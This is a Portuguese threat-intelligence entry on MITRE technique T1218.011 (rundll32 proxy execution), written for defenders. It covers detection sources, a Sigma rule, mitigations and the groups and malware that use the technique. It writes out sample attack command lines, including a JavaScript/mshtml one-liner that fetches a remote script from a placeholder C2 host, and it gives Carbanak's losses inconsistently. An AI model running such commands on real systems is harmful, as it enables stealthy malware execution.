# T1218.011 - Rundll32 ## Técnica Pai Esta é uma sub-técnica de [[t1218-system-binary-proxy-execution|T1218 - T1218 - System Binary Proxy Execution]]. ## Descrição Rundll32.exe é um utilitário nativo do Windows projetado para carregar e executar funções exportadas por DLLs. Adversários abusam dessa ferramenta legítima - uma prática conhecida como Living off the Land (LotL) - para executar código malicioso sem precisar de binários adicionais que possam ser detectados por antivírus. Como rundll32.exe é um processo assinado pela Microsoft, presente em todo sistema Windows e frequentemente incluído em listas de permissão de segurança corporativa, seu uso como proxy de execução permite que payloads maliciosos operem com alto grau de legitimidade aparente. O abuso mais direto envolve chamar uma DLL maliciosa explicitamente: `rundll32.exe malware.dll,ExportedFunction`. Mas a técnica vai além - rundll32.exe pode executar arquivos `.cpl` (Control Panel Items) através das funções não documentadas `Control_RunDLL` e `Control_RunDLLAsUser` da shell32.dll, e até mesmo interpretar scripts JavaScript com a sintaxe `rundll32.exe javascript:"\..\mshtml,RunHTMLApplication"`, comportamento explorado por famílias como Poweliks para execução sem arquivo em disco. Atacantes também abusam de DLLs legítimas e assinadas pelo sistema - como `zipfldr.dll` e `ieframe.dll` - para indiretamente executar código malicioso, tornando o comportamento ainda mais difícil de distinguir de operação normal. Uma técnica adicional de ofuscação explora o mecanismo de resolução de nomes de funções do rundll32.exe: o utilitário tenta primeiro `FunctionW` (Únicode), depois `FunctionA` (ANSI) antes de `Function`. Adversários criam múltiplas funções exportadas com nomes similares - algumas inócuas, uma maliciosa - para confundir análise estática. Funções também podem ser referênciadas por número ordinal (`#1`, `#2`) em vez de nome, dificultando ainda mais análise automatizada. Tudo isso se combina com [[t1036-masquerading|T1036 - Masquerading]] para maximizar a evasão. **Contexto Brasil/LATAM:** Rundll32 é amplamente explorado por grupos que operam contra o setor financeiro brasileiro. O [[g0008-carbanak|Carbanak]], responsável por perdas de centenas de milhões de dólares em bancos globais incluindo latino-americanos, usa rundll32.exe extensivamente em sua cadeia de execução. O grupo [[g0046-fin7|FIN7]], com histórico de ataques ao varejo e setor de alimentação no Brasil, emprega rundll32 para execução de seus implants. A técnica é especialmente eficaz em ambientes corporativos brasileiros onde soluções EDR modernas ainda não estão universalmente implantadas e listas de permissão baseadas em nome de processo são comuns. ## Attack Flow ```mermaid graph TB A["Entrega<br/>(phishing / dropper)"] --> B["Drop de DLL<br/>ou script malicioso"] B --> C["T1218.011<br/>Rundll32 Abuse"]:::highlight C --> D["Execução de<br/>Payload em Memória"] D --> E["C2 / Persistência<br/>/ Movimento Lateral"] classDef highlight fill:#e74c3c,color:#fff,stroke:#c0392b ``` ## Como Funciona 1. **Preparação:** O adversário prepara um payload - uma DLL maliciosa com função exportada, um arquivo `.cpl`, ou um script JavaScript inline - e o entrega ao sistema alvo via phishing, exploit de aplicação web, ou dropper de primeiro estágio. O payload pode ser armazenado em disco, em registro do Windows, ou carregado diretamente de uma URL remota, dependendo da sofisticação desejada. 2. **Execução:** O atacante aciona rundll32.exe com os argumentos apropriados, frequentemente via linha de comando em um script, tarefa agendada, ou chave de registro de execução automática. Exemplos reais incluem: `rundll32.exe C:\temp\payload.dll,#1` (execução por ordinal, evasão de análise por nome), `rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";GetObject("script:http://c2.exemplo.com/stage2.sct")` (execução sem arquivo), ou `rundll32.exe shell32.dll,Control_RunDLL malware.cpl` (abuso de Control Panel). O processo rundll32.exe legítimo aparece nos logs, mascarando o comportamento malicioso. 3. **Pós-execução:** Com o payload em execução sob o contexto de rundll32.exe, o adversário pode injetar código em outros processos (combinando com [[t1055-process-injection|T1055 - Process Injection]]), estabelecer persistência via registro ou tarefas agendadas, e iniciar comunicação C2 via [[t1095-non-application-layer-protocol|T1095]] ou protocolos de aplicação. A combinação com [[t1574-001-dll|T1574.001 - DLL Hijacking]] é comum: rundll32 carrega a DLL hijacked, que por sua vez carrega o payload final em memória. ## Detecção **Fontes de dados:** - **Sysmon Event ID 1** - `ProcessCreaté`: monitorar `rundll32.exe` com argumentos incomuns, especialmente com `javascript:`, `vbscript:`, caminhos em `%TEMP%`, `%APPDATA%`, ou argumentos codificados em base64 - **Sysmon Event ID 7** - `ImageLoaded`: DLLs carregadas por rundll32.exe de fora de `%SystemRoot%\System32` - **Sysmon Event ID 3** - `NetworkConnect`: rundll32.exe iniciando conexões de rede - comportamento altamente suspeito - **Windows Security Event ID 4688** - criação de processo `rundll32.exe` com linha de comando visível; correlacionar com processo pai incomum (ex: Word, Excel, PowerPoint) - **Sysmon Event ID 11** - `FileCreaté`: arquivos DLL criados em diretórios temporários imediatamente antes de rundll32.exe ser executado - **PowerShell Script Block Logging** - detectar invocação de rundll32 via PowerShell como técnica de evasão dupla **Sigma Rule:** ```yaml title: Suspicious Rundll32 Execution with Uncommon Arguments id: c7d3e5b2-9f1a-4c88-b2e4-a6f0d8c3e7b9 status: stable description: > Detects rundll32.exe executed with arguments commonly used for malicious purposes including JavaScript execution, ordinal-only calls, or loading DLLs from user-writable directories references: - T1218.011 - https://lolbas-project.github.io/lolbas/Binaries/Rundll32/ author: RunkIntel daté: 2026-03-24 logsource: product: windows category: process_creation detection: selection_base: Image|endswith: '\rundll32.exe' selection_suspicious: CommandLine|contains: - 'javascript:' - 'vbscript:' - ',#' - '.cpl,' - 'mshtml,' - 'shell32.dll,Control_RunDLL' - '\AppData\' - '\Temp\' - '\Users\Public\' selection_network: Image|endswith: '\rundll32.exe' DestinationPort|exists: true condition: selection_base and (selection_suspicious or selection_network) falsepositives: - Instaladores legítimos que usam rundll32 para registro de COM - Algumas aplicações de acessibilidade do Windows - Ferramentas de administração que usam arquivos .cpl legítimos level: high tags: - attack.defense_evasion - attack.t1218.011 - attack.execution ``` ## Mitigação | Mitigação | Recomendação Prática | |-----------|---------------------| | [[m1050-exploit-protection\|M1050 - Exploit Protection]] | Configurar Windows Defender Exploit Guard com regras de Ataque à Superfície de Redução (ASR): habilitar a regra `Block execution of potentially obfuscated scripts` (GUID: `d3e037e1-3eb8-44c8-a917-57927947596d`) e `Block JavaScript or VBScript from launching downloaded executable content`. Essas regras bloqueiam específicamente os vetores de execução JavaScript via rundll32. | | Monitoramento de Linha de Comando | Implementar solução EDR com análise comportamental de linha de comando do rundll32.exe. Alertar imediatamente para: rundll32 com argumentos `javascript:` ou `vbscript:`, rundll32 iniciando conexões de rede, rundll32 carregando DLLs de diretórios temporários. SOCs brasileiros devem priorizar essa regra dado o alto volume de ataques financeiros usando essa técnica. | | Application Control (AppLocker/WDAC) | Criar regras AppLocker que restrinjam os argumentos aceitos pelo rundll32.exe, bloqueando padrões de argumento associados a abuso. Embora rundll32 não possa ser bloqueado completamente em sistemas Windows, sua superfície de abuso pode ser reduzida com regras de hash ou caminho para DLLs permitidas. | | Auditoria e Threat Hunting | Realizar hunting periódico por instâncias de rundll32.exe com processos pai incomuns (documentos Office, navegadores, e-mail clients), conexões de rede originárias de rundll32, e rundll32 criando subprocessos. Ferramentas como Elastic SIEM ou Microsoft Sentinel possuem queries pré-built para esse cenário. | ## Threat Actors Os seguintes grupos usam rundll32.exe como vetor de execução e evasão: - [[g0047-gamaredon|Gamaredon Group]] - APT russo com operações massivas na Ucrânia, usa rundll32 para carregar implants via documentos maliciosos entregues por phishing - [[g0046-fin7|FIN7]] - grupo de crime financeiro com histórico de ataques ao setor de varejo e restaurantes no Brasil, usa rundll32 em sua sofisticada cadeia de infecção com o implant Carbanak/GRIFFON - [[g0073-apt19|APT19]] - grupo de espionagem chinês que usa rundll32 para execução de shellcode e payloads de segunda fase - [[g0094-kimsuky|Kimsuky]] - APT norte-coreano com foco em espionagem política, usa rundll32 para executar scripts e DLLs baixadas de servidores C2 - [[g1048-unc3886|UNC3886]] - grupo sofisticado com foco em virtualização, usa rundll32 em conjunto com outras técnicas LotL para evasão em ambientes bem monitorados - [[g0008-carbanak|Carbanak]] - grupo responsável por bilhões em perdas bancárias globais incluindo LATAM, usa rundll32 extensivamente como proxy de execução em suas campanhas contra bancos - [[g0022-apt3|APT3]] - grupo de espionagem chinês que usa rundll32 para execução de implants em ataques de espionagem corporativa e governamental - [[g0059-magic-hound|Magic Hound]] - APT iraniano (APT35) que usa rundll32 em campanhas de phishing e spear-phishing contra alvos governamentais e de pesquisa - [[g0127-ta551|TA551]] - distribuidor de malware em larga escala que usa rundll32 para carregar Ursnif, IcedID e outros trojans bancários com relevância para o Brasil - [[g0108-blue-mockingbird|Blue Mockingbird]] - grupo criminoso que explora servidores web para mineração de criptomoedas, usa rundll32 para persistência e evasão de antivírus ## Software Associado Os seguintes malwares e ferramentas abusam do rundll32.exe para execução: - [[s0260-invisimole|InvisiMole]] - spyware sofisticado usado pelo grupo Gamaredon, usa rundll32 para carregar módulos de espionagem de forma furtiva - [[s1160-latrodectus|Latrodectus]] - loader moderno sucessor do IcedID, usa rundll32 extensivamente para execução de payloads de segunda fase - [[s0196-punchbuggy|PUNCHBUGGY]] - downloader do FIN7 que usa rundll32 para execução de shellcode e evasão de EDR - [[s0635-boombox|BoomBox]] - downloader do APT29/Cozy Bear que usa rundll32 para carregar e executar payloads adicionais - [[s0045-advstoreshell|ADVSTORESHELL]] - backdoor sofisticado atribuído ao APT28, usa rundll32 para injeção em processos do sistema - [[s0204-briba|Briba]] - backdoor que usa rundll32 para execução persistente via chaves de registro Run - [[s0576-megacortex|MegaCortex]] - ransomware corporativo que usa rundll32 para carregar seu payload de criptografia de forma a dificultar detecção - [[s1064-svcready|SVCReady]] - loader distribuído por spam que usa rundll32 para execução sem necessidade de PowerShell ou scripts adicionais - [[greyenergy|GreyEnergy]] - sucessor do BlackEnergy voltado a infraestrutura crítica, usa rundll32 em sua arquitetura modular de implants - [[s0142-streamex|StreamEx]] - backdoor do grupo Deep Panda que usa rundll32 para carregar módulos de espionagem em processos do sistema --- *Fonte: [MITRE ATT&CK - T1218.011](https://attack.mitre.org/techniques/T1218/011)*